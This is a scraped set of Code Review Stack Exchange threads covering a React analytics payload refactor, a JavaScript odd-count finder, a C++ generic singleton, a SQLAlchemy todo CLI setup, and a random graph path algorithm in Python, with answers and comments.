"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-03-22T10:11:28.667",
"Id": "508643",
"Score": "0",
"body": "I just left the ugly wrapped strings as is, because I was focusing on the control flow. The other answer deals with that more effectively (Python isn't my main language, so I didn't want to over-step my competence!)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-03-31T21:13:40.447",
"Id": "510559",
"Score": "0",
"body": "@TobySpeight Sorry didn't get pung. Oh, I thought you were the one to change the strings... I see now I was wrong. Sorry."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-03-15T14:59:19.373",
"Id": "257186",
"ParentId": "255203",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255204",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T06:51:19.233",
"Id": "255203",
"Score": "0",
"Tags": [
"python",
"mathematics",
"library"
],
"Title": "Small Python math library"
}
|
255203
|
<p>I have to do some optimization on the function presented below.<br />
It makes some data like a payload based on the arguments passed into it.</p>
<p>I am not much sure how to improve the code to look better & less.</p>
<p>Please share some thoughts on this.</p>
<pre><code>//Process data and call track event for product added
export function ProductActionsSegment(data) {
let cart_item = []
data.session.cart.items.forEach(function (properties) {
var items = {};
items["brand"] = properties.product.display_brand;
items["category"] = null;
items["id"]= properties.id;
items["imageUrl"]=properties.product.image.url;
items["magento_product_id"]=properties.product.id;
items["manufacturer"]=null;
items["microcategory"]=null;
items["name"]=properties.product.name;
items["price"]=properties.product.price_range.minimum_price.final_price.value;
items["product_id"]=properties.product.id;
items["quantity"]=properties.quantity;
items["regular_price"]=properties.product.price_range.minimum_price.regular_price.value;
items["size"]=properties.product.size;
items["size_type"]=properties.product.size_label;
items["sku"]=properties.product.sku;
items["special_category"]=null;
items["special_price"]=properties.product.special_price;
items["stock_quantity"]=null;
items["swatch"]=properties.product.color_label;
items["trend"]=null;
items["url"]=properties.url;
cart_item.push(items)
});
if(data.location == 'product_page' || data.location == 'product_list') {
var product_page = {
brand: data.product.brandName,
category: null,
country: null,
email: Cookies.get('useremail'),
imageUrl: null,
location: data.location,
magento_product_id: null,
manufacturer: null,
microcategory: null,
name: data.product.name,
price: data.product.price.price.value,
product_id: null,
products:cart_item,
quantity: 1,
regular_price: data.product.price.price.value,
size: null,
size_type: null,
sku:data.product.sku,
special_category: null,
special_price: data.product.price.specialPrice,
stock_quantity: null,
swatch: null,
trend: null,
type: data.product.type,
url: data.product.url
};
TrackEvent('Product Added',product_page);
return;
}
if(data.location == 'cart') {
var eventName;
var type;
if(!data.action && data.new_qty > data.product.quantity){
eventName = 'Product Added';
type = 'increseQuantity';
}
else if(data.action){
eventName = 'Product Removed';
type = 'xProduct';
}
else{
eventName = 'Product Removed';
type = 'decreaseQuantity';
}
var product_cart = {
brand: null,
category: null,
country: null,
email: Cookies.get('useremail'),
imageUrl: null,
location: data.location,
magento_product_id: data.product.id,
manufacturer: null,
microcategory: null,
name: data.product.name,
price: data.product.price,
product_id: data.product.id,
products:cart_item,
quantity: 1,
regular_price: data.product.price,
size: data.product.product.size,
size_type: null,
sku:data.product.product.sku,
special_category: null,
special_price: data.product.product.special_price,
stock_quantity: null,
swatch: data.product.product.color_label,
trend: null,
type: type,
url: data.product.url
};
return product_cart
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T08:05:27.930",
"Id": "503450",
"Score": "0",
"body": "any thoughts on this ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T08:34:26.943",
"Id": "503454",
"Score": "1",
"body": "Welcome to CodeReview@SE. Helpful. reviews. take. time: expect answers to simple&short code within a couple of hours rather than minutes. While waiting for reviews, (re)visit [How do I ask a Good Question?](https://codereview.stackexchange.com/help/how-to-ask) and improve the title of this question."
}
] |
[
{
"body": "<p>I think the main issue with this function is that it's very difficult to follow what the function is doing with the giant object-creation stuff in the middle of the function. I would extract each of those large chunks into separate helper functions so that it's easy to see at a glance the general idea of what <code>ProductActionsSegment()</code> does.</p>\n<p>Here's an untested example (that also includes a few other minor cleanups):</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>export function ProductActionsSegment(data) {\n const cartItem = data.session.cart.items.map(formatCartItem);\n switch (data.location) {\n case 'product_page':\n case 'product_list':\n TrackEvent('Product Added', formatProductPage({ data, cartItem }));\n return;\n\n case 'cart':\n const type = extractCartTypeFromData(data);\n return formatCartPage({ data, cartItem, type });\n }\n}\n\nfunction extractCartTypeFromData(data) {\n if (data.action) {\n return 'xProduct';\n } else {\n return data.new_qty > data.product.quantity\n ? 'increseQuantity'\n : 'decreaseQuantity';\n }\n}\n\nconst formatCartItem = ({ id, quantity, url, product }) => ({\n id,\n quantity,\n url,\n brand: product.display_brand,\n category: null,\n imageUrl: product.image.url,\n magento_product_id: product.id,\n manufacturer: null,\n microcategory: null,\n name: product.name,\n price: product.price_range.minimum_price.final_price.value,\n product_id: product.id,\n regular_price: product.price_range.minimum_price.regular_price.value,\n size: product.size,\n size_type: product.size_label,\n sku: product.sku,\n special_category: null,\n special_price: product.special_price,\n stock_quantity: null,\n swatch: product.color_label,\n trend: null,\n});\n\nconst formatProductPage = ({ data: { product, location }, cartItem }) => ({\n brand: product.brandName,\n category: null,\n country: null,\n email: Cookies.get('useremail'),\n imageUrl: null,\n location,\n magento_product_id: null,\n manufacturer: null,\n microcategory: null,\n name: product.name,\n price: product.price.price.value,\n product_id: null,\n products: cartItem,\n quantity: 1,\n regular_price: product.price.price.value,\n size: null,\n size_type: null,\n sku: product.sku,\n special_category: null,\n special_price: product.price.specialPrice,\n stock_quantity: null,\n swatch: null,\n trend: null,\n type: product.type,\n url: product.url,\n});\n\nconst formatCartPage = ({ data: { product, location }, cartItem, type }) => ({\n brand: null,\n category: null,\n country: null,\n email: Cookies.get('useremail'),\n imageUrl: null,\n location,\n magento_product_id: product.id,\n manufacturer: null,\n microcategory: null,\n name: product.name,\n price: product.price,\n product_id: product.id,\n products: cartItem,\n quantity: 1,\n regular_price: product.price,\n size: product.product.size,\n size_type: null,\n sku: product.product.sku,\n special_category: null,\n special_price: product.product.special_price,\n stock_quantity: null,\n swatch: product.product.color_label,\n trend: null,\n type,\n url: product.url,\n});\n</code></pre>\n<p>A few other things:</p>\n<ul>\n<li>Your original version has an unused eventName variable.</li>\n<li>Are objects of these shapes being created in multiple locations? If not, ignore the following advice. If so, you might want a general helpers such as <code>createCartPage({ brand: ..., , category: ..., etc })</code>. This would make it so you don't have to explicitly set "null" to a bunch of different attributes as the helper can take care of that for you. Example helper:</li>\n</ul>\n<pre><code>const createBlankCartPage = (attrs = {}) => Object.assign(Object.seal({\n brand: null,\n category: 'some-default-category',\n country: null,\n email: null,\n // ...\n}), attrs);\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T08:22:56.407",
"Id": "504110",
"Score": "0",
"body": "Thankyou for the answer."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T01:56:00.107",
"Id": "255239",
"ParentId": "255207",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T07:55:41.733",
"Id": "255207",
"Score": "1",
"Tags": [
"javascript",
"performance",
"react.js"
],
"Title": "Best way to optimize similar payload (React)"
}
|
255207
|
<p>this is a function given an array of numbers to find the one that appears an odd number of times.</p>
<p>what I did is:</p>
<ul>
<li>Sort the array</li>
<li>Check if the array is odd.</li>
<li>If the array length is 1 then return this value.</li>
<li>Assign every two values to a new array, and check if it is a number.</li>
<li>Check if every two values are equals.</li>
<li>If not equals then the result will be the first element on the new array</li>
</ul>
<pre class="lang-javascript prettyprint-override"><code>function findOdd(A) {
let copA = Array.from(A).sort((a, b) => a - b);
let res = 0;
if (copA.length % 2 === 0) return;
if (copA.length == 1) return res = copA[0];
let newArr = [];
for (let i in copA) {
// if not a integer break
if (!Number.isInteger(copA[i])) {
res = 0;
break;
};
newArr.push(copA[i]);
if(newArr.length == 2) {
const [a,b] = newArr;
if (a === b) {
newArr = [];
} else {
res = a;
newArr[0] = b;
break;
}
} else if (newArr.length == 1) {
res = newArr[0];
}
}
return res;
}
// test the code
findOdd([20,1,-1,2,-2,3,3,5,5,1,2,4,20,4,-1,-2,5]); // 5
findOdd([1,1,2,-2,5,2,4,4,-1,-2,5]); // -1
findOdd([20,1,1,2,2,3,3,5,5,4,20,4,5]); // 5
findOdd([10]); // 10
findOdd([1,1,1,1,1,1,10,1,1,1,1]); // 10
findOdd([5,4,3,2,1,5,4,3,2,10,10]); // 1
</code></pre>
<p>My code works well, but I looking to improve it.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T09:10:51.893",
"Id": "503456",
"Score": "3",
"body": "If all numbers are safe integer, use bitwise xor should solve your question most effectivly. If not, use `DataView.prototype.setFloat64()` and `DataView.prototype.getBigUint64()` as workaround may convert them to (big) integers, and you may apply xor on them. Although I don't quite like the second approach, since it is too tricky."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T09:24:20.903",
"Id": "503458",
"Score": "0",
"body": "Ah, as a note, bitwise xor tricky only works if the given array is known to be valid (1 and only 1 odd number in it.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T09:26:45.953",
"Id": "503459",
"Score": "0",
"body": "@tsh You should write that as an answer rather than as a comment."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T09:26:53.567",
"Id": "503460",
"Score": "4",
"body": "`[20,1,-1,2,-2,3,3,5,5,1,2,4,20,4,-1,-2,5].reduce((set, value) => set.delete(value) ? set : set.add(value) , new Set()).values().next().value`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T10:01:25.503",
"Id": "503463",
"Score": "0",
"body": "@200_success But OP didn't mentioned the detail requirement of I/O. For example, if the I/O require function throw a exception if no / multiple odd numbers, you cannot use bitwise tricky."
}
] |
[
{
"body": "<h1>Review and Complexity</h1>\n<p>This answer is in two parts.</p>\n<ol>\n<li>A review of the code and a rewrite based on the review. There are what might be bugs. This addressed in the second part.</li>\n<li>A look at complexity, how to reduce complexity. An example function is given with lower complexity.</li>\n</ol>\n<h2>Review</h2>\n<ul>\n<li><p>Do not use un-delimited code blocks eg <code>if (copA.length == 1) return res = copA[0];</code> should be <code>if (copA.length == 1) { return res = copA[0]; }</code></p>\n</li>\n<li><p>Use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript operator reference. Strict equality\">=== (Strict equality)</a> rather than <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript operator reference. Equality\">== (Equality)</a> The same would apply for <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Strict_inequality\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript operator reference. Strict inequality\">!== (Strict inequality)</a> rather than <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Inequality\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript operator reference. Inequality\">!= (Inequality)</a></p>\n</li>\n<li><p>Avoid using <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript operator Statements. for...in\">for...in</a> without checking if the key is a property or index of the array/object you are iterating. Use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript operator Statements. for...of\">for...of</a> for arrays and if the item being iterated is an object use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global object reference. Object keys\">Object.keys</a> to create an array of property names.</p>\n</li>\n<li><p>Use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript operator Statements. const\">const</a> for variables that do not change. Eg the array <code>copA</code> never changes and should be a <code>const</code>.</p>\n<p>On the same point it is preferred to use <code>const</code> when possible, If you use <code>newArr.length = 0</code> rather than <code>newArr = []</code> you can then make <code>newArr</code> a <code>const</code>. This is also more efficient at run time as zeroing an array is quicker than creating a new array.</p>\n</li>\n<li><p>The general rule for line ends is use a semicolon only when ASI (<a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#automatic_semicolon_insertion\" rel=\"nofollow noreferrer\">Automatic Semicolon Insertion</a>) is ambiguous (The assumption is you may not know what the next line of code is eg when using bundlers, pre-parse parser, anything that changes the code before parsing).</p>\n<p>A <code>}</code> that delimits a code block is an unambiguous line terminator and does not require a semicolon.</p>\n<p>A <code>}</code> at the end of a object literal can be ambiguous and does requires a semicolon.</p>\n</li>\n<li><p>Most comments are just code noise, often they assume the reader does not know how to read code.</p>\n<p>Comments that are a Human readable expressions of intent should be avoided.</p>\n<p>If you find that some code is a little hard to understand from just reading the code it is likely that some renaming and or restructuring will make your intent clear rather than having to explain your intent with a comment</p>\n</li>\n</ul>\n<h3>Use modern syntax.</h3>\n<p>To copy an array use the spread operator <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript operator reference. Spread syntax\">...(Spread syntax)</a> rather than <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global object reference. Array from\">Array.from</a></p>\n<h3>Names</h3>\n<p>Names should be what the value represents rather than its type.</p>\n<ul>\n<li><p><code>A</code> (for array) can be <code>values</code> or <code>numbers</code> The plural means its an <code>array</code></p>\n</li>\n<li><p><code>copA</code> function arguments are not constants and you can reuse them. See rewrite.</p>\n</li>\n<li><p>Across many languages we use <code>i</code>, <code>j</code>, and sometimes <code>k</code> as counters. You should only use these names when they are counters. The loop <code>for (let i in copA) {</code> should use a name that represent what the value holds. Eg <code>for (let num in copA) {</code> or <code>for (let val in copA) {</code></p>\n</li>\n</ul>\n<h3>Efficient code</h3>\n<p>Always be efficient and avoid redundancy.</p>\n<ul>\n<li><p>The line <code>return res = copA[0]</code> is a redundant assignment and should be <code>return copA[0] </code></p>\n</li>\n<li><p>The second <code>else if(newArr.length == 1) {</code> is not required and can just be <code>else {</code></p>\n</li>\n<li><p><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global object reference. Array push\">Array.push</a> returns the length of the array after the push.</p>\n<p>Chrome, Edge, Nodejs and many APPs that use JS engines use V8. V8 has a quirk that makes indexed references eg <code>newArr.length</code> slower than direct or immediate references. Thus it would be better to use the statement <code>if (newArr.push(copA[i]) === 2) {`` rather than </code>if(newArr.length == 2)`</p>\n<p>Please note that this is trivial and as such would be something to you do when you are comfortable with your coding knowledge.</p>\n</li>\n<li><p>Don't use arrays to count occurrences . See rewrite. Because I see this type of thing so often will boldly yell <em><strong>'DON'T USE A ARRAYS TO GET COUNTS'</strong></em></p>\n</li>\n<li><p>The line <code>newArr[0] = b;</code> is followed by a <code>break</code> thus you never use the array <code>newArr</code> again making the assignment redundant.</p>\n</li>\n</ul>\n<h2>Rewrite</h2>\n<p>The rewrite does not create a new algorithm. It behaves the same as you code and passes the provided tests. This does not mean it will do so on all tests but I am limited by only what you provide.</p>\n<p>The rewrite is just a clean up of the code in regards to the points outlined above.</p>\n<ul>\n<li>The array use to count numbers has been replaced with a counter.</li>\n<li>To keep the previous value a variable called <code>prevNum</code> is used.</li>\n<li>As <code>prevNum</code> is the value you return via <code>res</code>, <code>res</code> has been removed with <code>prevNum</code>.</li>\n</ul>\n<p><strong>The code</strong></p>\n<pre><code> function findOdd(numbers) {\n let count = 0, prevNum;\n numbers = [...numbers].sort((a, b) => a - b);\n if (numbers.length % 2 === 0) { return }\n if (numbers.length === 1) { return numbers[0] }\n \n for (const num of numbers) {\n if (Number.isInteger(num)) {\n if (num === prevNum) {\n count ++;\n } else if (prevNum !== undefined) {\n if (count % 2) { break }\n count = 1;\n prevNum = num;\n } else {\n count ++;\n prevNum = num;\n }\n } else { return 0 }\n }\n return prevNum;\n }\n \n</code></pre>\n<hr />\n<h2>Complexity</h2>\n<p>This problem has a complexity of <span class=\"math-container\">\\$O(n)\\$</span>.</p>\n<p>Your code has a complexity of <span class=\"math-container\">\\$O(n log( n))\\$</span>. Why? because you sort the array. Sorts are complex. If you can avoid using a sort do so.</p>\n<p>I understand the reasoning behind the use of a sorted array, to group numbers.</p>\n<p>We must find a better way to group values but first your code has some inconsistent results (or bugs?)</p>\n<h2>Bugs???</h2>\n<p>Note: that in the rewrite (above) I pointed out that it only passed the tests provided. Any working code provides all that is needed to rewrite it and pass any test. However I strongly suspect that you have bugs that are not detected by the tests you provided.</p>\n<p>Test are useless if they do not check every edge case. Edge cases are more often than not the source of bugs. Just looking at the code an I see inconsistency in the return values.</p>\n<h3>Inconsistencies</h3>\n<p>The inconsistent results due to</p>\n<ul>\n<li>The early return of even sized arrays.</li>\n<li>The early break if a non integer is found.</li>\n<li>The problems description is incomplete as it does not clearly state what should be returned in some edge cases</li>\n</ul>\n<p>These Inconsistencies mean that the following inputs give or (may be giving) unexpected results</p>\n<pre><code>findOdd([1,0.1,2,1,0.1])); // returns 0, would expect 2?\nfindOdd([0.1,1])); // returns undefined, would expect 1?\nfindOdd([0.1,1,1])); // returns 0, The return has not been defined\n</code></pre>\n<p>There are also 2 unexplained return values, each the contra of the other</p>\n<ol>\n<li>Returning the first and lowest value if the array length is 1. Why the lowest?</li>\n<li>Returning zero. Why zero and not the lowest as above?</li>\n</ol>\n<h2>Reducing complexity</h2>\n<p>I will reduce the complexity to <span class=\"math-container\">\\$O(n)\\$</span> by using a hash map to count groups. JS provides several hash maps <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global object reference. Map\">Map</a>, <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global object reference. Set\">Set</a>, <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global object reference. WeakMap\">WeakMap</a> and <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global object reference. WeakSet\">WeakSet</a>. Only the first two can help in this case as <code>Number</code> is not a referenced value. (exception when number is created using <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global object reference. Number\"><code>Number(123)</code></a>)</p>\n<h3>First some assumptions</h3>\n<p>I must make some assumptions about how it behaves in edge cases.</p>\n<ul>\n<li>Even sized arrays may still contain odd groups of values.</li>\n<li>If there are no odd groups the first integer value is returned.</li>\n<li>If there are no integer values or the array is empty <code>undefined</code> is returned.</li>\n<li>All values in the array are of type <code>Number</code></li>\n</ul>\n<h3>Steps</h3>\n<p>An explanation of the new solution</p>\n<pre><code>Create a hash map to count occurrences in each group.\nIterate each value in input, \n If a value is an integer \n If the values is in the map add one to the count\n If not in the map add to the map with a count of 1\nIterate the completed map. \n If an entry is an odd count return that maps value as the result\nIf the size of the hash map is zero return undefined\nreturn the first value in the hash map.\n</code></pre>\n<p>Getting the first entry from a hash map can be done using <code>[...map.keys()][0]</code> however that is is overly complex <span class=\"math-container\">\\$O(n)\\$</span>. Rather you can use the iterator protocols <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript Reference Iteration protocols\">Iteration protocols</a> <code>next().value</code> with a complexity of <span class=\"math-container\">\\$O(1)\\$</span></p>\n<h3>The <span class=\"math-container\">\\$O(n)\\$</span> solution</h3>\n<pre><code>function findOdd(numbers) {\n const groupsByVal = new Map();\n for (const num of numbers) {\n if (Number.isInteger(num)) {\n const counter = groupsByVal.get(num);\n if (counter) { \n counter.count ++;\n } else { \n groupsByVal.set(num, {count: 1});\n }\n }\n }\n for (const [num, {count}] of groupsByVal.entries()) {\n if (count % 2) { \n return num;\n }\n }\n return groupsByVal.keys().next().value;\n}\n</code></pre>\n<p>Or I prefer</p>\n<pre><code>function findOdd(numbers) {\n const grpByVal = new Map();\n for (const num of numbers) {\n if (num % 1 === 0) {\n const grp = grpByVal.get(num);\n if (grp) { grp.c ++ }\n } else { grpByVal.set(num, {c: 1}) }\n }\n }\n for (const [num, {c}] of grpByVal.entries()) {\n if (c % 2) { return num }\n }\n return grpByVal.keys().next().value;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T07:16:15.877",
"Id": "503548",
"Score": "0",
"body": "You may use a `Set`, and simply `delete` an element from `Set` if the set already `has` it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T08:08:08.467",
"Id": "503551",
"Score": "0",
"body": "\"if the array length is 1\", then the only value in array does occurr odd times."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T09:54:45.833",
"Id": "503560",
"Score": "0",
"body": "@tsh An input array length of 1 does not mean that the array item is an integer. It is more efficient to use a map and count items. Add and delete cycles on the same item can thrash memory management adding overhead"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T10:59:50.340",
"Id": "503562",
"Score": "0",
"body": "\"does not mean that the array item is an integer\". It is yet another edge case here (since OP didn't really state what should be happened for edge cases)"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T04:29:35.697",
"Id": "255242",
"ParentId": "255210",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T08:37:08.993",
"Id": "255210",
"Score": "0",
"Tags": [
"javascript"
],
"Title": "Find the odd int challange"
}
|
255210
|
<p>Is this a correct implementation of a generic Meyers Singleton in C++17? Any tips appreciated.</p>
<p><em>Singleton.h</em></p>
<pre><code>#ifndef SINGLETON_H
#define SINGLETON_H
template<class T>
class Singleton
{
public:
static T& get()
{
static T obj;
return obj;
}
protected:
Singleton() = default;
virtual ~Singleton() = default;
Singleton(const Singleton&) = delete;
Singleton(Singleton&&) = delete;
Singleton& operator=(const Singleton&) = delete;
Singleton& operator=(Singleton&&) = delete;
};
#endif
</code></pre>
<p><em>MySingleton.h</em></p>
<pre><code>#ifndef MYSINGLETON_H
#define MYSINGLETON_H
class MySingleton : public Singleton<MySingleton>
{
friend class Singleton<MySingleton>;
public:
// public members
private:
MySingleton() {};
~MySingleton() {};
};
#endif
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T22:55:52.430",
"Id": "503530",
"Score": "0",
"body": "You will find issues with using templated singletons and shared libraries. You may have a single instance per shared library the compiler is under no obligation to remove duplicates across shared libraries (as the language does not even consider this)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T22:58:11.130",
"Id": "503531",
"Score": "0",
"body": "Sinelton is best used in conjunction with a builder pattern. Otherwise, you will have issues with testing. You should be able to install a different Singleton object depending on the context of where you using it (Still keeping the same concept of having one object for the lifetime of the application it just may be different in different contexts)."
}
] |
[
{
"body": "<h2>Overview</h2>\n<p>I am not sure this byes you anything in savings.<br />\nIts one static function and making sure that you can't copy/move the object.</p>\n<p>There are some issues aound using templates to implement this as I have tried exactly the same before. If this is a single application it is find but if you start using shared libraries then you may run into issues where you have several instances of <code>T</code> because there is a unique version of <code>get()</code> in every shared library that has not been removed.</p>\n<h2>Code Review</h2>\n<p>Not unique.</p>\n<pre><code>#ifndef SINGLETON_H\n#define SINGLETON_H\n</code></pre>\n<p>Put your code in a namespace and add the namespace the include guards.</p>\n<hr />\n<p>Reading ahead it looks like this only works because you assume <code>T</code> inherits from <code>Singleton</code> and thus makes sure that all the copy/move semantics are disabled.</p>\n<pre><code> static T& get()\n {\n static T obj;\n return obj;\n }\n</code></pre>\n<p>But your <code>get()</code> method does not validate this. So I could call this method with anything and get a reference to a thing that is not a signelton.</p>\n<pre><code> std::string myString = Singleton::get<std::string>();\n</code></pre>\n<p>You can make sure that the class works correctly by using <code>static_assert</code>.</p>\n<pre><code> static T& get()\n {\n static_assert(std::derived_from<Singelton, T> == true);\n\n static T obj;\n return obj;\n }\n</code></pre>\n<hr />\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T20:54:14.897",
"Id": "255302",
"ParentId": "255212",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255302",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T10:10:32.097",
"Id": "255212",
"Score": "0",
"Tags": [
"c++",
"reinventing-the-wheel",
"c++17",
"singleton"
],
"Title": "Generic Meyers Singleton implementation in C++"
}
|
255212
|
<p>I wanted to ask you a favor.</p>
<p>I am recruiting for the position of Junior Python Developer (my first try in IT) and I got a task to create a script to manage the task list.</p>
<p><a href="https://github.com/Lok3rs/Todo-CLI" rel="nofollow noreferrer">https://github.com/Lok3rs/Todo-CLI</a></p>
<p>Could you please give me some feedback about that script? I will be very grateful!</p>
<p>Thanks in advance, keep your fingers crossed!</p>
<blockquote>
<p><strong>init</strong>.py</p>
</blockquote>
<pre><code>import os
from sqlalchemy import create_engine, MetaData
from sqlalchemy.orm import sessionmaker
from sqlalchemy.sql.ddl import CreateTable
from sqlalchemy_utils import database_exists, create_database
from sqlalchemy.exc import OperationalError
from tasks.model.model import Task
from tasks.model.validators import Validator
from tasks.view.terminal import View
engine = create_engine("mysql+mysqldb://{}:{}@{}/{}".format(
os.environ.get("MYSQL_USERNAME"),
os.environ.get("MYSQL_PASSWORD"),
os.environ.get("MYSQL_HOST"),
os.environ.get("MYSQL_DB")
))
meta = MetaData()
meta.bind = engine
Session = sessionmaker(bind=engine)
session = Session()
view = View()
validator = Validator()
tasks_table = Task.__table__
try:
if not database_exists(engine.url):
create_database(engine.url)
meta.create_all()
engine.connect().execute(CreateTable(tasks_table))
print(f"Database named {os.environ.get('MYSQL_DB')} created successfully.")
else:
engine.connect()
except OperationalError as err:
print(err)
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T10:26:13.720",
"Id": "255213",
"Score": "0",
"Tags": [
"python",
"sql",
"mysql",
"console",
"sqlalchemy"
],
"Title": "Simple Todo CLI APP in Python with SQLalchemy"
}
|
255213
|
<p>Note: the optimal path can be chosen as the shortest path or the longest path</p>
<p>I made a randomized algorithm for finding random paths in a graph. The graph has weights on the edges. For non-cyclic graphs, the algorithm does not form any cycles. However, cyclic graphs can form cycles.</p>
<p>These paths are required to go from a start node to the end node. I am wondering if the average time and average space analysis is correct for distinct inputs on the make paths function.</p>
<p>The output of the code is the paths and the total of the weights. These are both parallel arrays.</p>
<p>Below is the code.</p>
<pre><code>
"""
Randomized Algorithm to find nodes from start_point to end_point
"""
def make_paths(graph, edges, goal_point, start_point, num_of_paths):
"""
graph: dict
edges: dict
paths: list
start_point: str
returns: List[str], the paths
Note: randomly goes through graph data structure to generate paths
Also Note: can contain cycles within the paths
avg time: O(len(graph) * num_of_paths)
avg space: O(num_of_paths + num_of_paths * len(graph))
amortized time: O(len(graph) * len(graph))
amortized space: O(num_of_paths + num_of_paths * len(graph))
"""
paths = [start_point for row in range(num_paths)]
for path in paths:
while not path[-1] == goal_point:
end_point = path[-1]
added_point = random.choice(graph[end_point])
path.append(added_point)
return paths
def calculate_totals(paths, edges):
"""
paths: List[str]
edges: Dict[Tuple[str, str], int]
returns: List[int], totals for these paths
avg time: O(len(paths) * len(paths))
avg space: O(len(paths))
amortized time: O(len(paths) * len(paths))
amortized space: O(len(paths))
"""
totals = [0 for row in range(len(paths))]
for row in range(0, len(paths)):
for col in range(0, len(paths) - 1):
edge = edges[(paths[row][col], paths[row][col + 1])]
totals[row] = totals[row] + edge
return totals
def main():
"""
Driver Program
"""
graph = dict()
graph['a'] = ['a', 'b']
graph['b'] = ['a']
edges = dict()
edges[('a', 'a')] = 0
edges[('a', 'b')] = 1
start_point = 'a'
goal_point = 'b'
num_of_paths = 3
paths = make_paths(graph, edges, goal_point, start_point, num_of_paths)
totals = calculate_totals(paths, edges)
print(totals)
if __name__ == '__main__':
main()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-09-02T06:43:14.257",
"Id": "527739",
"Score": "0",
"body": "Are the weights positive, positive-or-zero, or arbitrary?"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T16:14:17.480",
"Id": "255220",
"Score": "0",
"Tags": [
"python",
"algorithm",
"python-3.x"
],
